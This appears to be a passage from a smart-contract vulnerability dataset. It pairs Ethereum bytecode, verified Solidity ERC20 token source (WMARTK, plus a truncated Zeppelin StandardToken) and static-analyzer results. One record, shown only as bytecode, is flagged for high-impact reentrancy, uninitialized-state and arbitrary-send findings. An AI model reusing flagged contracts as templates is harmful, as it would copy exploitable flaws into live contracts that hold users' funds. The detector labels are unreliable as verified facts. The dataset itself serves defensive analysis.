5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139c28161359a565b81146139cd57600080fd5b50565b6139d9816135ac565b81146139e457600080fd5b50565b6139f0816135d8565b81146139fb57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c0560d000932b7a1b75b42ae2beb0c0613a3d198044b6c8a6e7795e111f142a664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,014
0x1cd68ea0565cd23dcc144c7e695968edca54ff04
/** *Submitted for verification at Etherscan.io on 2020-07-28 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = toDeleteIndex + 1; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; bytes32 public constant MINTER_ROLE = "MINTER"; event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[DEFAULT_ADMIN_ROLE].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); require(!hasRole(_roles[DEFAULT_ADMIN_ROLE].adminRole, account), "AccessControl: admin cannot grant himself"); require(DEFAULT_ADMIN_ROLE != role, "AccessControl: cannot grant adminRole"); _grantRole(role, account); } function transferAdmin(address account) public virtual { require(hasRole(_roles[DEFAULT_ADMIN_ROLE].adminRole, _msgSender()), "AccessControl: sender must be an admin to transfer"); require(_roles[DEFAULT_ADMIN_ROLE].members.at(0) != account, "AccessControl: admin cannot transfer himself"); _removeRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(DEFAULT_ADMIN_ROLE, account); _removeRole(MINTER_ROLE, _msgSender()); _setupRole(MINTER_ROLE, account); } function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[DEFAULT_ADMIN_ROLE].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); require(!hasRole(_roles[DEFAULT_ADMIN_ROLE].adminRole, account), "AccessControl: admin cannot revoke himself"); _revokeRole(role, account); } function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); require(!hasRole(_roles[DEFAULT_ADMIN_ROLE].adminRole, account), "AccessControl: admin cannot renounce himself"); _revokeRole(role, account); } function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } function _removeRole(bytes32 role, address account) internal virtual { _revokeRole(role, account); } function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract WMARTK is Context, AccessControl, ERC20, Pausable { constructor(string memory name, string memory symbol, uint8 decimals) public ERC20(name, symbol, decimals) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); } function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20: Only MINTER can Mint"); _mint(to, amount); } function pause() public virtual { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ERC20: Only ADMIN can pause"); _pause(); } function unpause() public virtual { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ERC20: Only ADMIN can unpause"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20) { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20: Token paused by ADMIN"); } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806370a08231116100f9578063a217fddf11610097578063ca15c87311610071578063ca15c87314610528578063d539139314610545578063d547741f1461054d578063dd62ed3e14610579576101a9565b8063a217fddf146104c8578063a457c2d7146104d0578063a9059cbb146104fc576101a9565b80638456cb59116100d35780638456cb591461044d5780639010d07c1461045557806391d148541461049457806395d89b41146104c0576101a9565b806370a08231146103d557806375829def146103fb57806379cc679014610421576101a9565b8063313ce567116101665780633f4ba83a116101405780633f4ba83a1461037c57806340c10f191461038457806342966c68146103b05780635c975abb146103cd576101a9565b8063313ce5671461030657806336568abe146103245780633950935114610350576101a9565b806306fdde03146101ae578063095ea7b31461022b57806318160ddd1461026b57806323b872dd14610285578063248a9ca3146102bb5780632f2ff15d146102d8575b600080fd5b6101b66105a7565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f05781810151838201526020016101d8565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102576004803603604081101561024157600080fd5b506001600160a01b03813516906020013561063d565b604080519115158252519081900360200190f35b61027361065b565b60408051918252519081900360200190f35b6102576004803603606081101561029b57600080fd5b506001600160a01b03813581169160208101359091169060400135610661565b610273600480360360208110156102d157600080fd5b50356106e8565b610304600480360360408110156102ee57600080fd5b50803590602001356001600160a01b03166106fd565b005b61030e610809565b6040805160ff9092168252519081900360200190f35b6103046004803603604081101561033a57600080fd5b50803590602001356001600160a01b0316610812565b6102576004803603604081101561036657600080fd5b506001600160a01b0381351690602001356108d1565b61030461091f565b6103046004803603604081101561039a57600080fd5b506001600160a01b038135169060200135610987565b610304600480360360208110156103c657600080fd5b50356109f7565b610257610a0b565b610273600480360360208110156103eb57600080fd5b50356001600160a01b0316610a19565b6103046004803603602081101561041157600080fd5b50356001600160a01b0316610a34565b6103046004803603604081101561043757600080fd5b506001600160a01b038135169060200135610b5e565b610304610bb8565b6104786004803603604081101561046b57600080fd5b5080359060200135610c1e565b604080516001600160a01b039092168252519081900360200190f35b610257600480360360408110156104aa57600080fd5b50803590602001356001600160a01b0316610c3d565b6101b6610c55565b610273610cb6565b610257600480360360408110156104e657600080fd5b506001600160a01b038135169060200135610cbb565b6102576004803603604081101561051257600080fd5b506001600160a01b038135169060200135610d23565b6102736004803603602081101561053e57600080fd5b5035610d37565b610273610d4e565b6103046004803603604081101561056357600080fd5b50803590602001356001600160a01b0316610d5b565b6102736004803603604081101561058f57600080fd5b506001600160a01b0381358116916020013516610e18565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106335780601f1061060857610100808354040283529160200191610633565b820191906000526020600020905b81548152906001019060200180831161061657829003601f168201915b5050505050905090565b600061065161064a610e58565b8484610e5c565b5060015b92915050565b60035490565b600061066e848484610f48565b6106de8461067a610e58565b6106d9856040518060600160405280602881526020016119ab602891396001600160a01b038a166000908152600260205260408120906106b8610e58565b6001600160a01b0316815260208101919091526040016000205491906110a5565b610e5c565b5060019392505050565b60009081526020819052604090206002015490565b60008080526020526000805160206119038339815191525461072690610721610e58565b610c3d565b6107615760405162461bcd60e51b815260040180806020018281038252602f815260200180611840602f913960400191505060405180910390fd5b6000808052602052600080516020611903833981519152546107839082610c3d565b156107bf5760405162461bcd60e51b8152600401808060200182810382526029815260200180611a866029913960400191505060405180910390fd5b816107fb5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a616025913960400191505060405180910390fd5b610805828261113c565b5050565b60065460ff1690565b61081a610e58565b6001600160a01b0316816001600160a01b0316146108695760405162461bcd60e51b815260040180806020018281038252602f815260200180611b06602f913960400191505060405180910390fd5b60008080526020526000805160206119038339815191525461088b9082610c3d565b156108c75760405162461bcd60e51b815260040180806020018281038252602c815260200180611953602c913960400191505060405180910390fd5b61080582826111a5565b60006106516108de610e58565b846106d985600260006108ef610e58565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061120e565b61092c6000610721610e58565b61097d576040805162461bcd60e51b815260206004820152601d60248201527f45524332303a204f6e6c792041444d494e2063616e20756e7061757365000000604482015290519081900360640190fd5b610985611268565b565b61099c6526a4a72a22a960d11b610721610e58565b6109ed576040805162461bcd60e51b815260206004820152601b60248201527f45524332303a204f6e6c79204d494e5445522063616e204d696e740000000000604482015290519081900360640190fd5b610805828261130c565b610a08610a02610e58565b826113fe565b50565b600654610100900460ff1690565b6001600160a01b031660009081526001602052604090205490565b600080805260205260008051602061190383398151915254610a5890610721610e58565b610a935760405162461bcd60e51b8152600401808060200182810382526032815260200180611aaf6032913960400191505060405180910390fd5b600080805260208190526001600160a01b03821690610ad3907fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5906114fa565b6001600160a01b03161415610b195760405162461bcd60e51b815260040180806020018281038252602c81526020018061197f602c913960400191505060405180910390fd5b610b2b6000610b26610e58565b6108c7565b610b366000826107fb565b610b4b6526a4a72a22a960d11b610b26610e58565b610a086526a4a72a22a960d11b826107fb565b6000610b95826040518060600160405280602481526020016119d360249139610b8e86610b89610e58565b610e18565b91906110a5565b9050610ba983610ba3610e58565b83610e5c565b610bb383836113fe565b505050565b610bc56000610721610e58565b610c16576040805162461bcd60e51b815260206004820152601b60248201527f45524332303a204f6e6c792041444d494e2063616e2070617573650000000000604482015290519081900360640190fd5b610985611506565b6000828152602081905260408120610c3690836114fa565b9392505050565b6000828152602081905260408120610c36908361158e565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106335780601f1061060857610100808354040283529160200191610633565b600081565b6000610651610cc8610e58565b846106d985604051806060016040528060258152602001611ae16025913960026000610cf2610e58565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906110a5565b6000610651610d30610e58565b8484610f48565b6000818152602081905260408120610655906115a3565b6526a4a72a22a960d11b81565b600080805260205260008051602061190383398151915254610d7f90610721610e58565b610dba5760405162461bcd60e51b81526004018080602001828103825260308152602001806119236030913960400191505060405180910390fd5b600080805260205260008051602061190383398151915254610ddc9082610c3d565b156108c75760405162461bcd60e51b815260040180806020018281038252602a815260200180611891602a913960400191505060405180910390fd5b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610c36836001600160a01b0384166115ae565b3390565b6001600160a01b038316610ea15760405162461bcd60e51b8152600401808060200182810382526024815260200180611a3d6024913960400191505060405180910390fd5b6001600160a01b038216610ee65760405162461bcd60e51b81526004018080602001828103825260228152602001806118bb6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f8d5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a186025913960400191505060405180910390fd5b6001600160a01b038216610fd25760405162461bcd60e51b815260040180806020018281038252602381526020018061181d6023913960400191505060405180910390fd5b610fdd8383836115f8565b61101a816040518060600160405280602681526020016118dd602691396001600160a01b03861660009081526001602052604090205491906110a5565b6001600160a01b038085166000908152600160205260408082209390935590841681522054611049908261120e565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156111345760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110f95781810151838201526020016110e1565b50505050905090810190601f1680156111265780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008281526020819052604090206111549082610e43565b1561080557611161610e58565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008281526020819052604090206111bd908261165d565b15610805576111ca610e58565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b600082820183811015610c36576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600654610100900460ff166112bb576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6006805461ff00191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6112ef610e58565b604080516001600160a01b039092168252519081900360200190a1565b6001600160a01b038216611367576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b611373600083836115f8565b600354611380908261120e565b6003556001600160a01b0382166000908152600160205260409020546113a6908261120e565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b0382166114435760405162461bcd60e51b81526004018080602001828103825260218152602001806119f76021913960400191505060405180910390fd5b61144f826000836115f8565b61148c8160405180606001604052806022815260200161186f602291396001600160a01b03851660009081526001602052604090205491906110a5565b6001600160a01b0383166000908152600160205260409020556003546114b29082611672565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000610c3683836116b4565b600654610100900460ff1615611556576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6006805461ff0019166101001790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586112ef610e58565b6000610c36836001600160a01b038416611718565b600061065582611730565b60006115ba8383611718565b6115f057508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610655565b506000610655565b611603838383610bb3565b61160b610a0b565b15610bb3576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a20546f6b656e207061757365642062792041444d494e00000000604482015290519081900360640190fd5b6000610c36836001600160a01b038416611734565b6000610c3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a5565b815460009082106116f65760405162461bcd60e51b81526004018080602001828103825260228152602001806117fb6022913960400191505060405180910390fd5b82600001828154811061170557fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b5490565b600081815260018301602052604081205480156117f0578354600019808301919081019060009087908390811061176757fe5b906000526020600020015490508087600001848154811061178457fe5b6000918252602080832090910192909255828152600189810190925260409020908401905586548790806117b457fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610655565b600091505061065556fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647345524332303a207472616e7366657220746f20746865207a65726f2061646472657373416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e7445524332303a206275726e20616d6f756e7420657863656564732062616c616e6365416363657373436f6e74726f6c3a2061646d696e2063616e6e6f74207265766f6b652068696d73656c6645524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365ad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb7416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b65416363657373436f6e74726f6c3a2061646d696e2063616e6e6f742072656e6f756e63652068696d73656c66416363657373436f6e74726f6c3a2061646d696e2063616e6e6f74207472616e736665722068696d73656c6645524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373416363657373436f6e74726f6c3a2063616e6e6f74206772616e742061646d696e526f6c65416363657373436f6e74726f6c3a2061646d696e2063616e6e6f74206772616e742068696d73656c66416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207472616e7366657245524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a2646970667358221220f2a9dd3686bf813a41e0808b5d6ee84d7facedeb89cbd0cf1becf23da63021d164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,015
0x0c96f49d723b95561170a96339904305ea98819d
pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * 